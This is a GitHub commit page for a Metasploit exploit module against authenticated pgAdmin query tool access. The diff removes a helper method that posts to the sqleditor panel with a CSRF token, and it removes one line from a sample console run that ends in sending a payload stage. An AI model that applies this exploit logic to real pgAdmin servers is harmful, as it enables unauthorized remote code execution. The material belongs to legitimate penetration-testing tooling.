Skip to content

Commit ddb29d6

Browse files
committed
Removed unnecessary method
1 parent 9d1f361 commit ddb29d6

File tree

2 files changed

+0
-21
lines changed

2 files changed

+0
-21
lines changed

documentation/modules/exploit/multi/http/pgadmin_query_tool_authenticated.md

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,6 @@ msf6 exploit(multi/http/pgadmin_query_tool_authenticated) > run db_name=postgres
6161
[*] Trying server ID: 1
6262
[*] Trying server ID: 2
6363
[*] Trying server ID: 3
64-
[+] Successfully posted to sqleditor panel with transaction ID: 9377994 and sid: 3
6564
[+] Successfully initialized sqleditor
6665
[*] Exploiting the target...
6766
[*] Sending stage (24772 bytes) to 172.16.199.1

modules/exploits/multi/http/pgadmin_query_tool_authenticated.rb

Lines changed: 0 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -84,25 +84,6 @@ def get_post_data
8484
})
8585
end
8686

87-
def post_sqleditor_panel(trans_id, sgid, sid, did)
88-
res = send_request_cgi({
89-
'uri' => normalize_uri(target_uri.path, "/sqleditor/panel/#{trans_id}?is_query_tool=true&sgid=#{sgid}&sid=#{sid}&did=#{did}&database_name=#{datastore['DB_NAME']}"),
90-
'method' => 'POST',
91-
'keep_cookies' => true,
92-
'ctype' => 'application/x-www-form-urlencoded',
93-
'headers' => {
94-
'X-pgA-CSRFToken' => csrf_token
95-
},
96-
'data' => get_post_data
97-
})
98-
99-
unless res&.code == 200
100-
errmsg = res&.get_json_document&.dig('errormsg') || 'unknown error'
101-
fail_with(Failure::UnexpectedReply, "POST request to sqleditor panel failed: #{errmsg}")
102-
end
103-
print_good("Successfully posted to sqleditor panel with transaction ID: #{trans_id} and sid: #{sid}")
104-
end
105-
10687
def post_initialize_sqleditor(trans_id, sgid, sid, did)
10788
res = send_request_cgi({
10889
'uri' => normalize_uri(target_uri.path, "/sqleditor/initialize/sqleditor/#{trans_id}/#{sgid}/#{sid}/#{did}"),
@@ -152,7 +133,6 @@ def sqleditor_init(trans_id)
152133
sgid = rand(1..10)
153134
did = rand(10000..99999)
154135
sid = find_valid_server_id(sgid)
155-
post_sqleditor_panel(trans_id, sgid, sid, did)
156136
post_initialize_sqleditor(trans_id, sgid, sid, did)
157137
end
158138

0 commit comments

Comments
 (0)